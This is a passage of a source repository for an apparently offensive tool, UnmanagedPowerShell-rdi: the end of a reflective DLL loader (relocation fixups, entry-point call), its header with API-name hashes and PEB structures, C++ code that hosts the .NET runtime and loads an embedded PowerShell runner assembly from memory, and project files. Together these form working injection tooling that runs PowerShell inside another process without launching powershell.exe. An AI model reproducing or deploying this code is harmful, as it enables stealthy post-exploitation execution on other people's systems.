((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 383 | 384 | // and we itterate through all entries... 385 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 386 | { 387 | // uiValueA = the VA for this relocation block 388 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 389 | 390 | // uiValueB = number of entries in this relocation block 391 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 392 | 393 | // uiValueD is now the first entry in the current relocation block 394 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 395 | 396 | // we itterate through all the entries in the current block... 397 | while( uiValueB-- ) 398 | { 399 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 400 | // we dont use a switch statement to avoid the compiler building a jump table 401 | // which would not be very position independent! 402 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 403 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 404 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 405 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 406 | #ifdef WIN_ARM 407 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 408 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 409 | { 410 | register DWORD dwInstruction; 411 | register DWORD dwAddress; 412 | register WORD wImm; 413 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 414 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 415 | // flip the words to get the instruction as expected 416 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 417 | // sanity chack we are processing a MOV instruction... 418 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 419 | { 420 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 421 | wImm = (WORD)( dwInstruction & 0x000000FF); 422 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 423 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 424 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 425 | // apply the relocation to the target address 426 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 427 | // now create a new instruction with the same opcode and register param. 428 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 429 | // patch in the relocated address... 430 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 431 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 432 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 433 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 434 | // now flip the instructions words and patch back into the code... 435 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 436 | } 437 | } 438 | #endif 439 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 440 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 441 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 442 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 443 | 444 | // get the next entry in the current relocation block 445 | uiValueD += sizeof( IMAGE_RELOC ); 446 | } 447 | 448 | // get the next entry in the relocation directory 449 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 450 | } 451 | } 452 | 453 | // STEP 6: call our images entry point 454 | 455 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 456 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 457 | 458 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 459 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 460 | 461 | // call our respective entry point, fudging our hInstance value 462 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 463 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 464 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 465 | #else 466 | // if we are injecting an DLL via a stub we call DllMain with no parameter 467 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 468 | #endif 469 | 470 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 471 | return uiValueA; 472 | } 473 | //===============================================================================================// 474 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 475 | 476 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 477 | { 478 | BOOL bReturnValue = TRUE; 479 | switch( dwReason ) 480 | { 481 | case DLL_QUERY_HMODULE: 482 | if( lpReserved != NULL ) 483 | *(HMODULE *)lpReserved = hAppInstance; 484 | break; 485 | case DLL_PROCESS_ATTACH: 486 | hAppInstance = hinstDLL; 487 | break; 488 | case DLL_PROCESS_DETACH: 489 | case DLL_THREAD_ATTACH: 490 | case DLL_THREAD_DETACH: 491 | break; 492 | } 493 | return bReturnValue; 494 | } 495 | 496 | #endif 497 | //===============================================================================================// 498 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// 204 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/UnmanagedPowerShell.cpp: -------------------------------------------------------------------------------- 1 | #pragma region Includes and Imports 2 | 3 | #include "stdafx.h" 4 | #include "ClrHostingHelpers.h" 5 | #include "PowerShellRunnerDll.h" 6 | #include "UnmanagedPowerShell.h" 7 | 8 | bool createHost(ICorRuntimeHost** ppCorRuntimeHost) 9 | { 10 | HMODULE hMscoree = LoadLibrary(L"mscoree.dll"); 11 | bool ret = false; 12 | if (hMscoree) 13 | { 14 | bool CLRv2Support = CheckNetfxVersionUsingMscoree(_T(NETFX_20_VERSION_STRING), hMscoree); 15 | bool CLRv4Support = CheckNetfxVersionUsingMscoree(_T(NETFX_40_VERSION_STRING), hMscoree); 16 | 17 | // Windows 10 does not have .NET 2.0 by default. 18 | if (CLRv4Support) 19 | { 20 | if (CLRv2Support) 21 | { 22 | ret = createDotNetFourHost(_T(NETFX_20_VERSION_STRING), ppCorRuntimeHost, hMscoree); 23 | } 24 | else 25 | { 26 | ret = createDotNetFourHost(_T(NETFX_40_VERSION_STRING), ppCorRuntimeHost, hMscoree); 27 | } 28 | } 29 | else if (CLRv2Support) 30 | { 31 | ret = createDotNetTwoHost(_T(NETFX_20_VERSION_STRING), hMscoree, ppCorRuntimeHost); 32 | } 33 | else 34 | { 35 | ret = false; 36 | } 37 | } 38 | 39 | return ret; 40 | } 41 | 42 | 43 | bool createDotNetFourHost(LPCWSTR pwzVersion, ICorRuntimeHost** ppCorRuntimeHost, HMODULE& hMscoree) 44 | { 45 | HRESULT hr = NULL; 46 | funcCLRCreateInstance pCLRCreateInstance = NULL; 47 | ICLRMetaHost *pMetaHost = NULL; 48 | ICLRRuntimeInfo *pRuntimeInfo = NULL; 49 | bool hostCreated = false; 50 | 51 | pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(hMscoree, "CLRCreateInstance"); 52 | if (pCLRCreateInstance == NULL) 53 | { 54 | wprintf(L"Could not find .NET 4.0 API CLRCreateInstance"); 55 | goto Cleanup; 56 | } 57 | 58 | hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost)); 59 | if (FAILED(hr)) 60 | { 61 | // Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL 62 | wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr); 63 | goto Cleanup; 64 | } 65 | 66 | hr = pMetaHost->GetRuntime(pwzVersion, IID_PPV_ARGS(&pRuntimeInfo)); 67 | if (FAILED(hr)) 68 | { 69 | wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr); 70 | goto Cleanup; 71 | } 72 | 73 | // Check if the specified runtime can be loaded into the process. 74 | BOOL loadable; 75 | hr = pRuntimeInfo->IsLoadable(&loadable); 76 | if (FAILED(hr)) 77 | { 78 | wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr); 79 | goto Cleanup; 80 | } 81 | 82 | if (!loadable) 83 | { 84 | wprintf(L".NET runtime v2.0.50727 cannot be loaded\n"); 85 | goto Cleanup; 86 | } 87 | 88 | // Load the CLR into the current process and return a runtime interface 89 | hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost)); 90 | if (FAILED(hr)) 91 | { 92 | wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr); 93 | goto Cleanup; 94 | } 95 | 96 | hostCreated = true; 97 | 98 | Cleanup: 99 | 100 | if (pMetaHost) 101 | { 102 | pMetaHost->Release(); 103 | pMetaHost = NULL; 104 | } 105 | if (pRuntimeInfo) 106 | { 107 | pRuntimeInfo->Release(); 108 | pRuntimeInfo = NULL; 109 | } 110 | 111 | return hostCreated; 112 | } 113 | 114 | 115 | bool createDotNetTwoHost(LPCWSTR pwzVersion, HMODULE& hMscoree, ICorRuntimeHost** ppCorRuntimeHost) 116 | { 117 | HRESULT hr = NULL; 118 | bool hostCreated = false; 119 | funcCorBindToRuntime pCorBindToRuntime = NULL; 120 | 121 | pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(hMscoree, "CorBindToRuntime"); 122 | if (!pCorBindToRuntime) 123 | { 124 | wprintf(L"Could not find API CorBindToRuntime"); 125 | goto Cleanup; 126 | } 127 | 128 | hr = pCorBindToRuntime(pwzVersion, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost)); 129 | if (FAILED(hr)) 130 | { 131 | wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr); 132 | goto Cleanup; 133 | } 134 | 135 | hostCreated = true; 136 | 137 | Cleanup: 138 | 139 | return hostCreated; 140 | } 141 | 142 | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command) 143 | { 144 | HRESULT hr; 145 | bstr_t bstrStaticMethodName(method); 146 | SAFEARRAY *psaStaticMethodArgs = NULL; 147 | variant_t vtStringArg(command); 148 | variant_t vtPSInvokeReturnVal; 149 | variant_t vtEmpty; 150 | 151 | 152 | psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); 153 | LONG index = 0; 154 | hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); 155 | if (FAILED(hr)) 156 | { 157 | wprintf(L"SafeArrayPutElement failed w/hr 0x%08lx\n", hr); 158 | return; 159 | } 160 | 161 | // Invoke the method from the Type interface. 162 | hr = spType->InvokeMember_3( 163 | bstrStaticMethodName, 164 | static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), 165 | NULL, 166 | vtEmpty, 167 | psaStaticMethodArgs, 168 | &vtPSInvokeReturnVal); 169 | 170 | if (FAILED(hr)) 171 | { 172 | wprintf(L"Failed to invoke InvokePS w/hr 0x%08lx\n", hr); 173 | return; 174 | } 175 | else 176 | { 177 | // Print the output of the command 178 | wprintf(vtPSInvokeReturnVal.bstrVal); 179 | } 180 | 181 | SafeArrayDestroy(psaStaticMethodArgs); 182 | psaStaticMethodArgs = NULL; 183 | } 184 | 185 | 186 | HRESULT SetupPSRuntime(_Type** PsRuntime) 187 | { 188 | HRESULT hr = NULL; 189 | ICorRuntimeHost *pCorRuntimeHost = NULL; 190 | IUnknownPtr spAppDomainThunk = NULL; 191 | _AppDomainPtr spDefaultAppDomain = NULL; 192 | 193 | // The .NET assembly to load. 194 | bstr_t bstrAssemblyName("PowerShellRunner"); 195 | _AssemblyPtr spAssembly = NULL; 196 | 197 | // The .NET class to instantiate. 198 | bstr_t bstrClassName("PowerShellRunner.PowerShellRunner"); 199 | 200 | // Create the runtime host 201 | if (!createHost(&pCorRuntimeHost)) 202 | { 203 | wprintf(L"Failed to create the runtime host\n"); 204 | goto Cleanup; 205 | } 206 | 207 | // Start the CLR 208 | hr = pCorRuntimeHost->Start(); 209 | if (FAILED(hr)) 210 | { 211 | wprintf(L"CLR failed to start w/hr 0x%08lx\n", hr); 212 | goto Cleanup; 213 | } 214 | 215 | DWORD appDomainId = NULL; 216 | hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); 217 | if (FAILED(hr)) 218 | { 219 | wprintf(L"RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x%08lx\n", hr); 220 | goto Cleanup; 221 | } 222 | 223 | // Get a pointer to the default AppDomain in the CLR. 224 | hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); 225 | if (FAILED(hr)) 226 | { 227 | wprintf(L"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr); 228 | goto Cleanup; 229 | } 230 | 231 | hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain)); 232 | if (FAILED(hr)) 233 | { 234 | wprintf(L"Failed to get default AppDomain w/hr 0x%08lx\n", hr); 235 | goto Cleanup; 236 | } 237 | 238 | // Load the .NET assembly. 239 | // (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe) 240 | // hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly); 241 | 242 | // (Option 2) Load the assembly from memory 243 | 244 | SAFEARRAYBOUND bounds[1]; 245 | bounds[0].cElements = PowerShellRunner_dll_len; 246 | bounds[0].lLbound = 0; 247 | 248 | SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds); 249 | SafeArrayLock(arr); 250 | memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len); 251 | SafeArrayUnlock(arr); 252 | 253 | hr = spDefaultAppDomain->Load_3(arr, &spAssembly); 254 | 255 | if (FAILED(hr)) 256 | { 257 | wprintf(L"Failed to load the assembly w/hr 0x%08lx\n", hr); 258 | goto Cleanup; 259 | } 260 | 261 | // Get the Type of PowerShellRunner. 262 | hr = spAssembly->GetType_2(bstrClassName, PsRuntime); 263 | if (FAILED(hr)) 264 | { 265 | wprintf(L"Failed to get the Type interface w/hr 0x%08lx\n", hr); 266 | goto Cleanup; 267 | } 268 | 269 | Cleanup: 270 | 271 | if (pCorRuntimeHost) 272 | { 273 | pCorRuntimeHost->Release(); 274 | pCorRuntimeHost = NULL; 275 | } 276 | 277 | return hr; 278 | } -------------------------------------------------------------------------------- /UnmanagedPowerShell/UnmanagedPowerShell.h: -------------------------------------------------------------------------------- 1 | #ifndef UNMANAGEDPOWERSHELL_H_ 2 | #define UNMANAGEDPOWERSHELL_H_ 3 | 4 | #include 5 | 6 | #pragma comment(lib, "mscoree.lib") 7 | 8 | 9 | 10 | 11 | 12 | // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). 13 | #import "mscorlib.tlb" raw_interfaces_only \ 14 | high_property_prefixes("_get","_put","_putref") \ 15 | rename("ReportEvent", "InteropServices_ReportEvent") 16 | using namespace mscorlib; 17 | 18 | typedef HRESULT(WINAPI *funcCLRCreateInstance)( 19 | REFCLSID clsid, 20 | REFIID riid, 21 | LPVOID * ppInterface 22 | ); 23 | 24 | typedef HRESULT(WINAPI *funcCorBindToRuntime)( 25 | LPCWSTR pwszVersion, 26 | LPCWSTR pwszBuildFlavor, 27 | REFCLSID rclsid, 28 | REFIID riid, 29 | LPVOID* ppv); 30 | 31 | bool CheckNetfxVersionUsingMscoree(const TCHAR *pszNetfxVersionToCheck, HMODULE& hMscoree); 32 | bool createHost(ICorRuntimeHost** ppCorRuntimeHost); 33 | bool createDotNetFourHost(LPCWSTR pwzVersion, ICorRuntimeHost** ppCorRuntimeHost, HMODULE& hMscoree); 34 | bool createDotNetTwoHost(LPCWSTR pwzVersion, HMODULE& hMscoree, ICorRuntimeHost** ppCorRuntimeHost); 35 | DWORD GetProcessorArchitectureFlag(); 36 | bool CheckNetfxVersionUsingMscoree(const TCHAR *pszNetfxVersionToCheck, HMODULE& hMscoree); 37 | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command); 38 | HRESULT SetupPSRuntime(_Type** PsRuntime); 39 | 40 | #endif -------------------------------------------------------------------------------- /UnmanagedPowerShell/UnmanagedPowerShell.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2} 23 | Win32Proj 24 | UnmanagedPowerShell 25 | 8.1 26 | UnmanagedPowerShell-rdi 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v140_xp 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | true 38 | v140_xp 39 | Unicode 40 | 41 | 42 | DynamicLibrary 43 | false 44 | v140_xp 45 | true 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v140_xp 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | true 73 | 74 | 75 | true 76 | 77 | 78 | false 79 | 80 | 81 | false 82 | 83 | 84 | 85 | Use 86 | Level3 87 | Disabled 88 | WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions);REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64 89 | true 90 | MultiThreadedDebug 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Use 100 | Level3 101 | Disabled 102 | WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions);REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X86 103 | true 104 | MultiThreadedDebug 105 | 106 | 107 | Console 108 | true 109 | 110 | 111 | 112 | 113 | Level3 114 | Use 115 | MinSpace 116 | true 117 | true 118 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions);REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64 119 | true 120 | MultiThreaded 121 | Size 122 | 123 | 124 | Console 125 | No 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | Level3 133 | Use 134 | MinSpace 135 | true 136 | true 137 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions);REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X86 138 | true 139 | MultiThreaded 140 | Size 141 | 142 | 143 | Console 144 | No 145 | true 146 | true 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | Use 165 | 166 | 167 | Use 168 | 169 | 170 | Create 171 | Create 172 | Create 173 | Create 174 | 175 | 176 | 177 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/UnmanagedPowerShell.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | -------------------------------------------------------------------------------- 